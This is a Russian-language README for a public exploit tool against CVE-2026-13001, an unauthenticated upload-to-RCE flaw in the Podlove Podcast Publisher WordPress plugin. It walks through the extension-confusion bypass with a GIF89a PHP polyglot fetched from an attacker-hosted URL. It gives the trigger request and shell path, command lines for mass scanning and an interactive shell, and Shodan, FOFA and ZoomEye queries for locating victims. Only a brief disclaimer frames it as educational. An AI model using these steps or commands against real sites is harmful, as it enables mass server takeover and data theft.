
Эксплойт для CVE-2026-13001: неаутентифицированное удалённое выполнение кода (RCE) в Podlove Podcast Publisher через путаницу расширений. Включает массовое сканирование, интерактивную оболочку и полиморфную полезную нагрузку GIF89a PHP.
CVSS 9.8 (Critical) | Неаутентифицированная произвольная загрузка файлов, ведущая к удалённому выполнению кода
Критическая уязвимость в WordPress-плагине Podlove Podcast Publisher (версии до 4.5.1 включительно), которая позволяет неаутентифицированным атакующим загружать произвольные PHP-файлы на сервер через функциональность кэша изображений, что приводит к удалённому выполнению кода (RCE).
Уязвимость использует расхождение между двумя внутренними функциями, которые по-разному разбирают расширения файлов:
| Функция | Метод | Входные данные: payload.php?.gif | Результат |
|---|
is_image() | basename(), затем pathinfo() | payload.php?.gif | .gif (проходит проверку) |
extract_file_extension() | parse_url(), затем pathinfo() | /payload.php | .php (сохраняется на диск) |
| Поле | Значение |
|---|---|
| ID CVE | CVE-2026-13001 |
| CVSS | 9.8 (Critical) |
| CWE | CWE-20 (Некорректная проверка входных данных) |
| Плагин | Podlove Podcast Publisher |
| Затронуто | Версии до 4.5.1 включительно |
| Исправлено | 4.5.2 |
| Тип | Неаутентифицированная произвольная загрузка файлов с переходом к RCE |
| Исследователь | Talal Nasraddeen (через Wordfence) |
| Опубликовано | 14 июля 2026 года |
Уязвимость существует потому, что две функции плагина Podlove разбирают один и тот же URL, но извлекают разные расширения файлов:
is_image() — Проверка (в lib/helper.php)// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif" <- BYPASS!
Функция проверяет:
exif_imagetype() — требуется корректный заголовок изображения (GIF89a)wp_check_filetype_and_ext()Поскольку basename() включает строку запроса, расширение выглядит как gif — его нет в списке запрещённых.
extract_file_extension() — Формирование имени файла (в lib/model/image.php)// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php" (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"
Файл сохраняется на диск с расширением .php.
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
(File starts with GIF89a header but contains PHP code)
2. Exploit appends ?.gif to URL: payload.php?.gif
Then hex-encodes the full URL
3. Trigger cache download:
GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test
4. Plugin processing:
a. Downloads file from attacker URL
b. is_image() checks content: GIF89a header detected - PASS
c. is_image() checks extension: basename sees "gif" - PASS
d. extract_file_extension() uses parse_url path: gets "php"
e. File saved as: test_original.php
5. File location:
/wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php
6. Attacker accesses the file with parameters -> RCE achieved
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test -v
python3 exploit.py -f targets.txt \
-s https://yourserver.com/shell_polyglot.gif.php \
-o vuln.txt -t 15 -v
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php
python3 exploit.py -u http://target.com \
-s https://yourserver.com/shell_polyglot.gif.php \
--filename test --debug
-u, --url Single target URL
-f, --file File containing target URLs (one per line)
-s, --shell URL hosting the GIF89a PHP polyglot
--filename Custom filename for cached file (default: shell)
--shell-url Direct URL for interactive mode
-o, --output Output file for vulnerable targets (bulk mode)
-t, --threads Number of threads (default: 10)
-v, --verbose Verbose output
--debug Debug output (show all HTTP requests)
--no-payload-test Skip payload accessibility test
Файл shell_polyglot.gif.php — это полиглот, который является одновременно корректным GIF-изображением и PHP-кодом:
GIF89a <- Valid GIF header (passes exif_imagetype check)
/* <- Start of comment (GIF binary data is commented out for PHP)
<?php <- PHP code begins here
// ... code ...
?>
Важно: Полиглот должен размещаться как статический файл (например, Cloudflare R2, AWS S3, nginx без PHP). Если сервер хостинга обрабатывает PHP, код будет выполнен на сервере хостинга, а не доставлен целевому серверу в виде исходного содержимого.
# FOFA
body="podlove-podcasting-plugin-for-wordpress"
# Shodan
http.html:"podlove"
# ZoomEye
app:"Podlove Podcast Publisher"
Успешная эксплуатация приводит к удалённому выполнению кода от имени пользователя веб-сервера:
wp-content/cache/podlove/podlove_image_cache_urlЭта уязвимость является обходом исправления для CVE-2025-10147 (Podlove <= 4.2.6).
| Аспект | CVE-2025-10147 (v4.2.6) | CVE-2026-13001 (v4.5.1) |
|---|---|---|
| Первопричина | Полное отсутствие проверки типа файла | Обход проверки через путаницу расширений |
| Методика | Прямая загрузка PHP-файла | GIF89a-полиглот + трюк со строкой запроса URL |
| Применённое исправление | Добавлена is_image() со списком запрещённых расширений | Исправлена согласованность разбора расширений |
Подробное сравнение см. в analysis/CVE_COMPARISON.md.
ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.
Этот инструмент предназначен для исследователей безопасности и специалистов по тестированию на проникновение, имеющих явное письменное разрешение на тестирование целевых систем. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут никакой ответственности за неправомерное использование данного инструмента.
ghostpel-sec — Исследования в области безопасности и разработка эксплойтов
Этот проект лицензирован в соответствии с ghostpel-sec Security Research License.